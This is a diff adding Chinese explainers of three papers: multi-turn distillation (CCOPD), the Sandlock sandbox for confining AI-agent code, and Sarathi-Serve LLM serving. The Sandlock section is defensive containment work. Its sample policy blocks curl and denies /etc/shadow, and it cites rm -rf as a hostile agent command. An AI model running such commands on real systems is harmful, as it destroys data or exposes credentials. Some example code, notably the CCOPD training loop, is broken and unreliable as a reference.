+    {"role": "user", "content": "小红给了小明2个苹果。"},
+    {"role": "assistant", "content": "收到。"},
+    {"role": "user", "content": "然后小明又去商店买了5个苹果。请问小明现在一共有多少个苹果？"},
+]
+```
+
+注意：即使中间 assistant 的回复很简短（甚至可以是空回复），这些回复本身就会成为后续轮次的上下文，可能引入偏差。
+
+### 代码示例 2：CCOPD 训练循环
+
+```python
+import torch
+import torch.nn.functional as F
+
+def ccopd_training_step(
+    model,              # 同一个模型，既是 teacher 又是 student
+    full_prompt,        # 完整 prompt（teacher 的输入）
+    sharded_history,    # 逐轮对话历史（student 的输入）
+    teacher_answer,     # teacher 的标准输出
+    temperature=0.7,
+):
+    # ---- 第一步：Teacher 推理（权重冻结）----
+    with torch.no_grad():
+        teacher_output = model.generate(
+            inputs=tokenizer(full_prompt, return_tensors="pt"),
+            max_new_tokens=256,
+            temperature=temperature,
+        )
+        # teacher_output 就是"标准答案"的概率分布
+
+    # ---- 第二步：Student 推理（权重可训练）----
+    # 模拟逐轮对话过程
+    student_logits_list = []
+    for turn in sharded_history:
+        if turn["role"] == "user":
+            # 累积对话历史
+            current_input = build_dialogue_context(sharded_history[:sharded_history.index(turn)+1])
+            inputs = tokenizer(current_input, return_tensors="pt")
+
+            # 获取当前轮的 logits（用于蒸馏）
+            with torch.set_grad_enabled(True):
+                outputs = model(**inputs)
+                student_logits_list.append(outputs.logits)
+
+    # ---- 第三步：蒸馏损失 ----
+    # 让 student 的每一轮输出都接近 teacher 的标准行为
+    distillation_loss = 0.0
+    for student_logits in student_logits_list:
+        # KL 散度：student 分布 vs teacher 分布
+        student_probs = F.softmax(student_logits / temperature, dim=-1)
+        teacher_probs = F.softmax(teacher_output / temperature, dim=-1)
+        kl_loss = F.kl_div(
+            F.log_softmax(student_logits / temperature, dim=-1),
+            teacher_probs,
+            reduction="batchmean",
+        )
+        distillation_loss += kl_loss
+
+    # 也可以加入普通的语言建模损失
+    lm_loss = F.cross_entropy(
+        student_logits.view(-1, student_logits.size(-1)),
+        teacher_answer_ids,
+    )
+
+    total_loss = distillation_loss + lm_loss
+    total_loss.backward()
+    return total_loss
+```
+
+关键点：
+- `torch.no_grad()` 确保 Teacher 的权重不会被更新
+- Student 通过 KL 散度学习模仿 Teacher 的输出分布
+- 每一轮对话的 student 输出都被拉到 teacher 的标准附近
+
+## 实验结果
+
+论文的训练数据**只用数学问题对话**。但效果出乎意料地好：
+
+| 指标 | 结果 |
+|------|------|
+| RAW-SHARDED 性能提升 | 平均相对提升 **32%** |
+| 覆盖范围 | 数学 + 5 个零样本跨领域任务 |
+| FULL 性能 | 基本保持不变（没有退化） |
+
+这意味着 CCOPD 不仅解决了"分轮给信息就出错"的问题，而且没有牺牲模型在正常场景下的能力。
+
+## 深入分析：CCOPD 为什么有效？
+
+论文做了进一步分析，发现 CCOPD 主要增强了两个方面：
+
+1. **对用户证据的扎根程度（grounding）**：模型更依赖用户实际提供的信息，而不是自己脑补
+2. **对早期 assistant 轮次污染的敏感度降低**：即使前面的对话里有误导性的 assistant 回复，模型也不容易被带偏
+
+回到拼图的类比：CCOPD 就像是教学生"**每次拿到新拼图块时，都回头看一眼参考答案确认**"。久而久之，学生养成了习惯——即使拼图是碎片化给的，也会不断校正自己的猜测。
+
+## 总结
+
+| 要素 | 说明 |
+|------|------|
+| **问题** | LLM 在 FULL prompt 下做得好，但在 RAW-SHARDED 多轮对话下表现差 |
+| **根因** | Self-anchored drift：早期不完整信息导致的假设污染后续推理 |
+| **方法** | CCOPD：同一模型同时当 Teacher（看全文）和 Student（看碎片），用蒸馏对齐 |
+| **效果** | 只用数学数据训练，跨领域提升 32%，不损害原有能力 |
+| **关键洞察** | 训练时让模型学会"即使信息是分步给的，也要以完整视角来做判断" |
+
+## 延伸思考
+
+这篇论文揭示了一个 LLM 在实际使用中非常常见的问题：**现实中的交互往往是多轮的、渐进的**。用户不会一次性把全部信息塞进一个 prompt，而是像聊天一样慢慢说。如果模型不能很好地处理这种场景，那么在真实应用中的体验就会大打折扣。
+
+CCOPD 的价值在于它提供了一种简单而有效的训练范式——不需要额外的标注数据，不需要复杂的架构改动，只需要"让模型自己教自己"。
diff --git a/src/content/docs/papers/sandlock-confining-ai-agent-code-with-unprivileged-linux-primitives-arxiv-2605-2.md b/src/content/docs/papers/sandlock-confining-ai-agent-code-with-unprivileged-linux-primitives-arxiv-2605-2.md
new file mode 100644
index 000000000..ab4a8ed8a
--- /dev/null
+++ b/src/content/docs/papers/sandlock-confining-ai-agent-code-with-unprivileged-linux-primitives-arxiv-2605-2.md
@@ -0,0 +1,218 @@
+---
+title: Sandlock — 用非特权 Linux 原语为 AI Agent 代码打造牢笼（Wang & Zheng, 2026）
+来源: https://arxiv.org/abs/2605.26298
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 安全与隐私
+provenance: pipeline-v3
+---
+
+## 是什么
+
+这篇论文由 Cong Wang（Multikernel Technologies）和 Yusheng Zheng（UC Santa Cruz）于 2026 年 5 月提交，提出了一种名为 **Sandlock** 的轻量级 Linux 进程沙箱。它的目标场景非常具体：**AI Agent（如 Claude Code、SWE-agent）在开发者机器上执行不可信代码时的隔离问题**。
+
+Sandlock 的核心设计哲学可以用一句话概括：**把"事前就知道"的策略交给内核强制执行，把"只有运行时才知道"的决策交给一个轻量级的用户态监督者。**
+
+## 日常类比：机场安检
+
+想象你是一名机场安检员，面前有一个传送带，上面不断送来旅客的行李：
+
+- **静态规则（Landlock）**：比如"所有液体不能超过 100ml"、"刀具一律禁止"。这些规则在旅客到达安检口之前就已经定好了，不需要看行李里实际有什么。内核就像这条固定不变的安检线，直接拦截违规物品，速度快、成本低。
+- **动态决策（seccomp 通知）**：但有些东西没法事先规定——比如某件行李里装的是一个快递包裹，你需要打开看看收件地址是不是黑名单上的国家。这时行李会被送到"人工检查区"（监督者），检查员看一眼地址，放行或没收。关键点是：这个包裹在检查期间是"冻结"的，检查员不会让它在检查过程中被调包。
+
+Sandlock 做的就是把这两条线有机结合起来：大部分东西走快速通道（内核），少数需要判断的走人工通道（用户态），而且整个过程不需要管理员权限（root）。
+
+## 为什么这个问题很重要
+
+AI Agent 正在越来越多地替开发者做这些事：
+
+- 运行 LLM 生成的 shell 命令（可能包含恶意的 `rm -rf`）
+- 执行从 npm 仓库下载的安装脚本（可能被植入供应链攻击）
+- 调用未知的第三方插件
+
+传统的隔离方案都不够用：
+
+| 方案 | 问题 |
+|------|------|
+| Docker 容器 | 需要镜像管理，启动慢（~300ms），rootless 还需要额外配置 |
+| Firecracker VM | 需要 KVM，启动 ~100ms，太重了 |
+| firejail / bubblewrap | 控制粒度粗，没有可编程的运行时策略 |
+| gVisor | 用户态内核，兼容性和性能开销大 |
+
+Agent 执行的每个命令通常只跑几十毫秒，如果沙箱本身启动就要几百毫秒，那整个系统的响应时间就不可接受了。
+
+## 核心概念
+
+### 1. 静态规则 + 动态决策的拆分
+
+这是整篇论文的骨架。
+
+**静态规则**——在子进程执行之前就确定好的策略，直接编译进内核：
+
+- 文件系统：哪些目录可读、哪些可写
+- 网络：允许连接哪些 TCP 端口
+- IPC：允许访问哪些进程间通信通道
+- 系统调用：哪些 syscall 无条件拒绝
+
+**动态决策**——只有 syscall 实际发生时才能判断的事情，通过 seccomp 用户通知机制交给用户态监督者：
+
+- `connect` 的真实目标 IP（DNS 解析后的结果）
+- `execve` 的参数（LLM 生成的命令到底是什么）
+- 文件写入的效果（要不要捕获、回滚还是提交）
+
+### 2. 三大 Linux 原语
+
+Sandlock 组合了三个 Linux 内核原语：
+
+- **Landlock**：一个不需要 root 权限的 LSM（Linux Security Module），可以限制进程的filesystem、网络和 IPC 能力。相当于"静态安检线"。
+- **seccomp-bpf**：过滤系统调用，决定哪些 syscall 直接允许、哪些直接拒绝、哪些交给用户态处理。
+- **seccomp 用户通知（seccomp\_unotify）**：当一个 syscall 被标记为"通知"时，内核会暂停这个调用，把它发给用户态的监督者，监督者回复"允许"、"拒绝"或"继续"后，内核才恢复执行。
+
+### 3. 写时复制（COW）工作空间
+
+Sandlock 支持"可逆的文件系统效果"：沙箱内的文件写入会被捕获到一个临时层中，退出时可以选择提交（合并到真实文件系统）、丢弃（全部回滚）或保留（供检查）。这不需要 mount namespace，完全在用户态实现。
+
+### 4. 流水线（Pipeline）组合
+
+一个 Agent 任务可以拆成多个阶段，每个阶段有不同的隔离级别。比如：
+
+- 第一阶段：可以读取私密数据，但没有网络
+- 第二阶段：可以访问网络 API，但看不到私密数据
+
+两个阶段通过管道连接，即使其中一个被攻破，攻击者也无法获得另一阶段的权限。这解决了 AI 安全领域的"致命三联"（lethal trifecta）问题：私密数据 + 外部通信 + 不可信内容同时存在。
+
+## 代码示例
+
+### 示例 1：定义一个基础沙箱
+
+```python
+from sandlock import Sandbox
+
+# 创建一个沙箱：只允许读取 /usr 和 /lib，不允许网络访问
+sandbox = Sandbox(
+    fs_readable=["/usr", "/lib"],       # 只能读这两个目录
+    fs_writable=["/tmp/sandlock-work"],  # 只能写到这里
+    network_allowed=[],                  # 不允许任何网络连接
+)
+
+# 在其中运行一条命令
+result = sandbox.cmd(["python3", "-c", "print('hello')"]).run()
+print(result.stdout)
+```
+
+这里的关键是**默认拒绝（default-deny）**：除了明确允许的，一切都被阻止。Agent 不需要知道所有可能被用到的资源——只需要声明这个命令需要什么。
+
+### 示例 2：可编程策略回调
+
+```python
+def on_event(event, ctx):
+    """
+    这个回调在每次关键 syscall 发生时被调用。
+    event 描述发生了什么，ctx 允许你实时收紧策略。
+    """
+    if event.syscall == "execve":
+        # 如果执行的命令包含 "curl"，就撤销网络权限
+        if "curl" in event.argv:
+            ctx.restrict_network([])          # 切断网络
+            ctx.deny_path("/etc/shadow")      # 保护敏感文件
+            ctx.audit("blocked curl with network")
+
+    if event.syscall == "connect":
+        # 检查连接的目标地址
+        if event.dest_ip.startswith("10.0.0."):
+            return False  # 拒绝连接到内网
+
+    return True  # 默认允许
+```
+
+这个回调就是论文中的 `policy_fn`。它的作用不是" containment boundary"（ containment 靠的是 Landlock 和 seccomp），而是**检测阶段转换并实时收紧策略**。比如 Agent 从"安装依赖"阶段进入"运行测试"阶段时，可以通过检测到 `pytest` 的执行来撤销之前的网络权限。
+
+### 示例 3：流水线多阶段隔离
+
+```python
+# 阶段一：可以读取私密数据，但不能上网
+trusted = Sandbox(
+    fs_readable=["/usr", "/lib", "/opt/private-data"]
+)
+
+# 阶段二：可以上网，但看不到私密数据
+restricted = Sandbox(
+    fs_readable=["/usr", "/lib"],
+    network_allowed=["api.example.com:443"]
+)
+
+# 管道连接：阶段一输出 → 阶段二处理
+result = (
+    trusted.cmd(["cat", "/opt/private-data/report.csv"])
+    | restricted.cmd(["curl", "-X", "POST", "https://api.example.com/upload"])
+).run()
+```
+
+这就是论文中的 pipeline 模式。`trusted` 阶段能看到私密数据但无法外传，`restricted` 阶段能上网但看不到数据。即使 `curl` 被攻破，攻击者也拿不到 `/opt/private-data/` 里的内容。
+
+### 示例 4：写时复制（COW）工作空间
+
+```python
+cow = Sandbox(
+    fs_readable=["/usr", "/lib"],
+    cow_workspace="/tmp/cow-session",  # 启用写时复制
+)
+
+# 在这个沙箱里，任何写入都会被捕获
+result = cow.cmd(["pip", "install", "some-package"]).run()
+
+# 退出时可以选择：
+result.commit()   # 提交所有写入（新文件、修改的文件永久生效）
+# 或者
+result.abort()    # 丢弃所有写入（沙箱退出后文件系统不变）
+# 或者
+result.dry_run()  # 预览哪些文件会被修改，不真正执行
+```
+
+这类似于数据库的事务：你可以先"模拟运行"看看会产生什么效果，再决定是否"提交"。对 Agent 来说，这意味着可以在安全的环境中尝试安装任何包，确认没问题后再提交变更。
+
+## 性能表现
+
+论文在 AMD Ryzen 5 5500U 上的测试结果：
+
+| 指标 | 裸机 | Sandlock | Docker（rootful） |
+|------|------|----------|-------------------|
+| 启动延迟 | ~0ms | ~5ms | ~300ms |
+| Redis SET 吞吐 | 75.5k rps | 75.2k rps | ~57k rps |
+| Redis p99 延迟 | 0.49ms | 0.51ms | ~1.5ms |
+| COW fork 速率 | - | ~1,900 fork/s | - |
+
+Sandlock 的启动开销只有 5ms，Redis 吞吐量在测量误差范围内与裸机持平。相比之下 Docker 启动慢了 44 倍，吞吐量只有裸机的 76%。
+
+## 关键创新点
+
+1. **TOCTOU 安全的运行时策略**：`policy_fn` 在读取 `execve` 参数前会"冻结"所有可能共享内存的线程和进程，防止竞态条件导致参数被调包。如果无法冻结（如 Yama 限制了 ptrace），则直接拒绝而非放宽策略。
+
+2. **不需要 root、cgroups 或镜像**：纯用户态操作，开发者在自己的账户下就能用，不需要 `sudo`。
+
+3. **HTTP 级别的访问控制**：不仅限制 IP 和端口，还能限制 HTTP 方法和路径（如只允许 `GET /api/v1` 不允许 `POST`）。HTTPS 检查可选，需要安装沙箱 CA。
+
+4. **DNS 重绑定防护**：域名在沙箱启动时解析一次并锁定，运行时不会重新解析，防止攻击者通过 DNS 记录变化绕过白名单。
+
+5. **无需 mount namespace 的 COW**：通过 seccomp 通知拦截文件写入并重定向到临时层，在用户态实现类似 overlayfs 的效果。
+
+## 局限性与讨论
+
+- **不保护内核漏洞和侧信道攻击**：威胁模型假设内核和 Sandlock 监督者是可信的。
+- **资源限制是"合作式"的**：内存和进程数通过 syscall 拦截来计数，不是内核强制的，不如 cgroups 强。
+- **HTTPS 检查需要安装 CA**：否则只能靠端点白名单。
+- **兼容性仍需调优**：常见工具（python3、make、node、pytest）基本能用，但复杂构建流程可能需要调整允许的临时目录。
+
+## 总结
+
+Sandlock 解决了一个很精准的问题：**AI Agent 在开发者机器上频繁执行短命、不可信代码时的隔离需求**。它没有试图做一个通用的沙箱，而是把 Linux 已有的三个非特权原语（Landlock、seccomp-bpf、seccomp 用户通知）巧妙地组织在一起，实现了：
+
+- 5ms 启动延迟（比 Docker 快 44 倍）
+- 零额外 root 需求
+- 可编程的运行时策略
+- 可逆的文件系统效果
+- 多阶段能力分离
+
+对于正在崛起的 Agentic OS 生态来说，这种轻量级、可编程、非特权的进程隔离层可能成为一个基础设施级的构件。
+
+开源地址：https://github.com/multikernel/sandlock
diff --git a/src/content/docs/papers/sarathi-serve-2024.md b/src/content/docs/papers/sarathi-serve-2024.md
new file mode 100644
index 000000000..b5638881d
--- /dev/null
+++ b/src/content/docs/papers/sarathi-serve-2024.md
@@ -0,0 +1,362 @@
+---
+title: Sarathi-Serve — 驯服 LLM 推理中的吞吐与延迟权衡
+来源: https://arxiv.org/abs/2403.02310
+日期: 2026-06-13
+子分类: ML 系统
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：火锅店里的「备菜」与「涮肉」
+
+想象一家热门火锅店（GPU 推理服务）同时服务两类动作：
+
+1. **Prefill（备菜）**：新客人点了一整桌食材（长 prompt，几百到几千 token）。后厨要把所有菜洗好、切好、摆盘（并行处理全部输入 token，写出 **KV cache**，产出**第一个输出 token**）。这一步像**大火爆炒**——灶台火力打满，但**一桌备菜可能要 5 分钟**，期间别的桌如果只能干等，体验就崩了。
+2. **Decode（涮肉）**：客人已经开吃，每 30 秒要**续一勺汤、加一片肉**（每步只生成 1 个 token）。动作很快，但**要不停翻账本**（读全量 KV cache + 模型权重）——瓶颈在**显存带宽**，不在算力。多桌一起涮（大 batch）能摊薄成本，吞吐涨得很快。
+
+**传统 vLLM / Orca 的调度**像「只要来了新客人备菜，就暂停所有桌的续汤」：
+
+- 一桌 16K token 的长文档总结进来 → 所有正在流式聊天的用户**字流停几秒**（论文称为 **generation stall**）。
+- 为了照顾续汤体验，你又不敢开大 batch → **吞吐上不去**。
+
+**Sarathi-Serve**（OSDI 2024，微软研究院等）的做法是：
+
+- 把长备菜**切成等大小的小份**（**chunked prefill**），每份只占一个「前向迭代」的时间预算。
+- 每个迭代 = **所有正在 decode 的请求** + **至多一块 prefill chunk**（**stall-free batching / hybrid batch**）。
+- 因为 decode 阶段 GPU **算力有空闲**（memory-bound），prefill chunk 的矩阵乘可以「搭便车」塞进去，**不让 decode 停下来等**。
+
+一句话：**不是让 GPU 更快，而是让长 prompt 不再 hijack 整个 batch——在单卡混批场景下同时拉高吞吐、压平 TBT（Time-Between-Tokens）尾延迟。**
+
+---
+
+## 是什么
+
+| 项目 | 内容 |
+|------|------|
+| 论文 | *Taming Throughput-Latency Tradeoff in LLM Inference with Sarathi-Serve* |
+| 会议 | **OSDI 2024** |
+| arXiv | [2403.02310](https://arxiv.org/abs/2403.02310) |
+| 作者 | Amey Agrawal, Nitin Kedia, Ashish Panwar 等（Georgia Tech + Microsoft Research India） |
+| 前身 | [Sarathi (2023)](https://arxiv.org/abs/2308.16369) — 面向**离线吞吐**的 chunked prefill + decode-maximal batching |
+| 开源 | [github.com/microsoft/sarathi-serve](https://github.com/microsoft/sarathi-serve)（fork 自早期 vLLM，研究原型） |
+| 工业落地 | vLLM v0.4+ 默认 **enable_chunked_prefill**；与 PagedAttention 正交叠加 |
+
+Sarathi-Serve 解决的是 **colocated（同卡混批）** 在线服务里的经典矛盾：**batch 越大吞吐越高，但 prefill 与 decode 交错会让 TBT 尾延迟爆炸。**
+
+---
+
+## 为什么重要
+
+不理解 Sarathi-Serve，下面几件事很难讲清楚：
+
+- 为什么 ChatGPT 类产品在**高负载**下仍能保持**逐字稳定流出**（而不是每隔几秒卡一下）。
+- 为什么 2024 年后 LLM serving 论文几乎都把 **chunked prefill** 当 baseline，和 **PD 分离**（DistServe、Splitwise）构成两条主流路线。
+- 为什么 vLLM 文档里 `max_num_batched_tokens` 同时影响**吞吐**和 **P99 TBT**——它本质上是 Sarathi 的 **token budget / chunk size** 旋钮。
+- 为什么 **pipeline parallelism** 上大模型（Falcon-180B）特别怕「prefill 迭代 vs decode 迭代」耗时差异——Sarathi 的 **uniform batch** 能减少 pipeline bubble。
+
+---
+
+## 核心概念
+
+### 1. 两阶段推理与三个指标
+
+```text
+用户 prompt (N tokens)
+  → [Prefill]  并行处理全部（或一块 chunk）prompt → 第 1 个 output token + 写 KV cache
+  → [Decode]   循环：每步 1 token，读全量 KV + 权重 → 直到 EOS
+
+用户感知延迟 ≈ TTFT + TBT × (输出长度 - 1)
+```
+
+| 指标 | 含义 | Sarathi-Serve 侧重 |
+|------|------|-------------------|
+| **TTFT** | 从请求到达到**第一个 token** | chunk 会略增 TTFT（多轮才能吃完 prompt） |
+| **TBT** | 相邻输出 token 之间间隔 | **核心优化目标** — 消除 generation stall |
+| **Capacity** | 在 SLO 约束下系统能承受的 **QPS** | 论文主评估指标（比裸 tokens/s 更贴近 SLA） |
+
+### 2. 现有调度器的两难（Figure 2）
+
+| 策略 | 代表系统 | 优点 | 缺点 |
+|------|----------|------|------|
+| **Decode-prioritizing** | FasterTransformer, Triton（request-level batching） | TBT 低，无 generation stall | 吞吐差：batch 里短请求等长请求；decode-only 迭代 batch 小 |
+| **Prefill-prioritizing** | Orca, vLLM（iteration-level batching） | 吞吐高：先塞满 prefill，后续 decode 大 batch | **Generation stall**：长 prefill 迭代阻塞所有 decode |
+
+**Generation stall**：两个 decode 迭代之间插入了完整 prefill（或过长 hybrid batch），导致正在生成的用户 TBT **突刺到秒级**。
+
+### 3. Chunked Prefill
+
+把长度为 \(L\) 的 prompt 切成若干块，每块最多 \(C\) 个 token（**chunk size**）：
+
+```text
+prompt tokens:  [----chunk0----][----chunk1----][----chunk2----]...
+iterations:      iter0: chunk0 + decodes
+                 iter1: chunk1 + decodes
+                 iter2: chunk2 + decodes
+                 ...
+```
+
+关键性质：
+
+- **Prefill 对 batch 不敏感**：Mistral-7B 上 batch=1 的 prefill 已能打满算力（论文 Figure 3），攒多个 prefill **几乎不涨吞吐**。
+- **Decode 对 batch 极敏感**：batch 翻倍，decode 吞吐近似线性涨。
+- 因此最优策略不是「多 prefill 一起算」，而是「**每轮只塞一小块 prefill + 尽量多的 decode**」。
+
+### 4. Stall-Free Batching（Algorithm 3 直觉）
+
+每个调度迭代的打包顺序（论文 §4.2）：
+
+1. **先装**所有进行中的 **decode** 请求（每请求 1 token）。
+2. **再装**尚未完成的 **prefill chunk**（续写上次切到一半的 prompt）。
+3. **最后**在剩余 **token budget** 内 admit 新请求，只取能塞下的 prefill 前缀。
+
+**Token budget** \(B\)：用户根据 TBT SLO 设定每迭代最多处理多少 token（decode 数 + prefill chunk 大小之和）。限制每迭代计算量 → **迭代延迟与 prompt 总长度解耦**。
+
+### 5. 为什么 Hybrid Batch「几乎免费」
+
+Decode 迭代是 **memory-bound**：线性层耗时近似 \(\max(T_{\text{math}}, T_{\text{mem}})\)，\(T_{\text{math}}\) 很小，GPU 算力闲着。
+
+Prefill chunk 是 **compute-bound**：能把闲置算力用起来。
+
+论文 Figure 5/6 的直觉（Mistral-7B, A100）：
+
+- 纯 decode batch=32 ≈ **25 ms**
+- prefill chunk=512 token 单独跑 ≈ **22 ms**
+- 合并后实测 ≈ **28 ms**（不是 47 ms 简单相加）
+
+这就是 **stall-free** 的物理来源：**用 decode 的访存等待时间「偷跑」prefill 算力**，而不是让 decode 停下来等。
+
+### 6. Uniform Batch 与 Pipeline Parallelism
+
+Pipeline parallel（PP）把模型按层切到多卡，micro-batch 在 stage 间流水。若相邻迭代耗时差异大（一会纯 prefill、一会纯 decode），会出现 **pipeline bubble**（某些 stage 空转）。
+
+Sarathi-Serve 每迭代结构相近（**N 个 decode + ≤1 个 chunk**），迭代耗时更均匀 → PP 场景 Falcon-180B 上 **端到端 capacity 最高 6.9×**（相对 Orca/vLLM）。
+
+### 7. 与 DistServe / PD 分离的关系
+
+| 路线 | 思路 | 适用 |
+|------|------|------|
+| **Sarathi-Serve** | 同卡混批，chunk + stall-free | 单卡/少卡、NVLink 紧、不想搬 KV |
+| **DistServe** | Prefill 与 Decode **分到不同 GPU** | 集群充裕、TTFT/TPOT SLO 差异大 |
+| **Splitwise** | 异构硬件：快卡 prefill、慢卡 decode | 云厂商机型混搭 |
+
+两条路线**不互斥**：生产里常见「单卡内 Sarathi 调度 + 集群级 PD 分离」分层优化。
+
+---
+
+## 代码示例
+
+### 示例 1：vLLM 中的 chunked prefill 开关（工业界默认配置）
+
+Sarathi-Serve 的核心思想已并入 vLLM。零基础可以先从**能跑的参数**理解 chunk 与 token budget：
+
+```python
+from vllm import LLM, SamplingParams
+
+# Sarathi-Serve 思想在 vLLM 中的对应项：
+# - enable_chunked_prefill: 开启切块 prefill
+# - max_num_batched_tokens: 每迭代 token 上限 ≈ 论文中的 batch token budget
+llm = LLM(
+    model="mistralai/Mistral-7B-Instruct-v0.2",
+    enable_chunked_prefill=True,
+    max_num_batched_tokens=512,   # 越小 → TBT 越稳，TTFT 可能略升
+    max_num_seqs=64,              # 并发 decode 序列数上限
+)
+
+prompts = [
+    "用三句话总结量子计算：",
+    "写一份 2000 字的 Rust 异步编程教程：" + "背景知识 " * 400,
+]
+outputs = llm.generate(prompts, SamplingParams(max_tokens=128, temperature=0))
+for o in outputs:
+    print(o.outputs[0].text[:200])
+```
+
+调参直觉：
+
+- `max_num_batched_tokens` **太大** → 单迭代可能塞进过长 prefill chunk → TBT 尾延迟回升（回到 generation stall）。
+- **太小** → attention 重复读 KV 的开销上升，吞吐下降；论文报告 Yi-34B 上 chunk=128 比 512 慢约 **30%**。
+
+### 示例 2：用伪代码理解 Stall-Free 调度器（对应论文 Algorithm 3）
+
+下面是把论文调度逻辑**简化成可读 Python** 的教学版本（非 sarathi-serve 仓库原文，便于理解打包顺序）：
+
+```python
+from dataclasses import dataclass, field
+from typing import List, Optional
+
+CHUNK_SIZE = 512          # 每块 prefill 最多多少 token
+TOKEN_BUDGET = 1024       # 每迭代总 token 上限（含所有 decode + prefill chunk）
+
+@dataclass
+class Request:
+    prompt_tokens: List[int]
+    prefill_cursor: int = 0
+    phase: str = "prefill"  # "prefill" | "decode"
+    output_tokens: List[int] = field(default_factory=list)
+
+def schedule_iteration(running: List[Request], waiting: List[Request]) -> dict:
+    """返回本迭代要执行的 hybrid batch：decode 列表 + 可选 prefill chunk。"""
+    batch_decodes: List[Request] = []
+    prefill_req: Optional[Request] = None
+    prefill_chunk: List[int] = []
+    used = 0
+
+    # 1) 先打包所有 decode（每请求 1 token）
+    for r in running:
+        if r.phase == "decode":
+            batch_decodes.append(r)
+            used += 1
+    if used > TOKEN_BUDGET:
+        raise ValueError("decode batch 已超过 token budget，需限流或减 max_num_seqs")
+
+    # 2) 续写未完成的 prefill chunk
+    for r in running:
+        if r.phase == "prefill" and r.prefill_cursor < len(r.prompt_tokens):
+            prefill_req = r
+            break
+
+    # 3) 若无进行中 prefill，从 waiting 队列 admit 新请求
+    if prefill_req is None and waiting:
+        prefill_req = waiting.pop(0)
+        running.append(prefill_req)
+
+    # 4) 在剩余 budget 内切 prefill chunk（stall-free 的关键）
+    if prefill_req is not None:
+        remain = TOKEN_BUDGET - used
+        end = min(
+            prefill_req.prefill_cursor + min(CHUNK_SIZE, remain),
+            len(prefill_req.prompt_tokens),
+        )
+        prefill_chunk = prefill_req.prompt_tokens[prefill_req.prefill_cursor:end]
+
+    return {
+        "decodes": batch_decodes,
+        "prefill_request": prefill_req,
+        "prefill_chunk": prefill_chunk,
+    }
+
+# 一次迭代后更新状态（省略 GPU kernel 调用）
+def after_forward(req: Request, chunk_len: int, new_token: Optional[int]):
+    if req.phase == "prefill":
+        req.prefill_cursor += chunk_len
+        if req.prefill_cursor >= len(req.prompt_tokens):
+            req.phase = "decode"
+            if new_token is not None:
+                req.output_tokens.append(new_token)
+    elif new_token is not None:
+        req.output_tokens.append(new_token)
+```
+
+阅读要点：
+
+- **Decode 永远先进 batch** —— 保证正在流式输出的用户每轮都有进度。
+- **Prefill 被 chunk 和 budget 双重限制** —— 单迭代延迟有上界，与「prompt 总共 8K 还是 80K」弱相关。
+- 这与 Orca/vLLM 的「有内存就 eager 跑完整 prefill」形成鲜明对比。
+
+### 示例 3：用配置估算 chunk 是否 stall-free（Profiling 思路）
+
+论文 §4.3 建议用 profiling 表而非闭式公式。零基础可以记这个**实验流程**：
+
+```python
+# 伪代码：在目标 GPU 上测两张表，离线写入配置
+# T_decode[B] = 纯 decode batch 大小 B 的单迭代耗时
+# T_hybrid[C, B] = C-token prefill chunk + B 个 decode 的耗时
+
+def pick_chunk_size(slo_tbt_ms: float, decode_batch: int, profile: dict) -> int:
+    """选最大的 C，使得 hybrid 迭代耗时不超过 SLO（且不超过纯 decode 太多）。"""
+    baseline = profile["T_decode"][decode_batch]
+    for C in [128, 256, 512, 1024]:
+        t = profile["T_hybrid"].get((C, decode_batch), float("inf"))
+        if t <= slo_tbt_ms and t <= baseline * 1.1:  # 允许 ~10% 余量
+            best = C
+        else:
+            break
+    return best
+```
+
+工程上 vLLM 把这件事藏在 `max_num_batched_tokens` 和自动调度里，但**调参时脑子里要有这张表**。
+
+---
+
+## 论文实验数字（建立直觉）
+
+| 场景 | 相对 vLLM / Orca 的 serving capacity 提升 |
+|------|------------------------------------------|
+| Mistral-7B，单张 A100 | 最高约 **2.6×** |
+| Yi-34B，2×A100（TP=2） | 最高约 **2.8×**（不同 SLO 下） |
+| Falcon-180B，8×A100（PP+TP） | 最高约 **6.9×** |
+
+论文用真实 trace（如 arxiv-summarisation）展示：vLLM 在负载升高时 **P99 TBT** 急剧恶化，且出现持续数秒的 **generation stall**；Sarathi-Serve 在更高 QPS 下仍保持平滑 TBT。
+
+---
+
+## 适用 vs 不适用
+
+**适用：**
+
+- 在线对话 / 代码补全 — prompt 长度方差大，要求流式体验。
+- 多租户混批、**TBT SLO** 严格（如 P99 < 100ms）。
+- 希望在**不增加 GPU 数量**的前提下抬 capacity。
+- Pipeline parallel 大模型服务 — 需要 uniform iteration。
+
+**不适用 / 收益有限：**
+
+- 纯离线 embedding / 批处理 prefill — 无 decode，不存在 stall 问题。
+- 极短 prompt（< chunk size）— 切与不切无差别。
+- 已做 **PD 分离** 且 prefill 池与 decode 池完全隔离 — 同卡 stall 问题被架构绕开（但 chunk 仍可能用于 prefill 池内部调度）。
+
+---
+
+## 常见误区
+
+1. **「prefill 攒大 batch 能提速」** — 错。Prefill 已 compute-bound，batch 再大也快不了多少，只会阻塞 decode。
+2. **「chunk 越小越好」** — 错。过小导致 KV 重复加载、attention 开销涨，吞吐可能掉 **30%+**。
+3. **「Sarathi-Serve = vLLM」** — 不完全。vLLM 采纳了 chunked prefill 思想；微软开源的 `sarathi-serve` 是研究 fork，功能与主线 vLLM 不完全等价。
+4. **「优化 TBT 必然牺牲 TTFT」** — 部分对。chunk 增加 prefill 轮数，TTFT 可能略升；但更高吞吐降低**排队延迟**，净 TTFT 有时反而更好。
+
+---
+
+## 与相关工作的位置
+
+```text
+Orca (2022)          iteration-level batching
+    ↓
+vLLM (2023)          + PagedAttention，prefill-prioritizing → generation stall
+    ↓
+Sarathi (2023)       chunked prefill + decode-maximal（离线吞吐）
+    ↓
+Sarathi-Serve (2024) stall-free online scheduling + uniform batch for PP
+    ‖（路线之争）
+DistServe (2024)     PD disaggregation，跨 GPU 消干扰
+Splitwise (2024)     异构 PD + 网络感知放置
+```
+
+读 Sarathi-Serve 的最佳搭配：[[paged-attention-vllm]]（内存）、[[orca-continuous-batching]]（迭代级 batching）、[[distserve-2024]]（对照路线）、[[flash-attention]]（混合 batch kernel）。
+
+---
+
+## 学到什么
+
+1. **Prefill 与 decode 是两种瓶颈形态** — 算力 bound vs 带宽 bound，调度必须「不对称」对待。
+2. **Generation stall 是在线服务的隐形杀手** — 平均吞吐好看，P99 TBT 爆掉，用户仍觉得「卡」。
+3. **Chunk + token budget = 给迭代延迟加护栏** — 让系统行为可预测，SLO 才可做。
+4. **利用算术强度差异做 co-scheduling** — 比盲目加卡更「系统」。
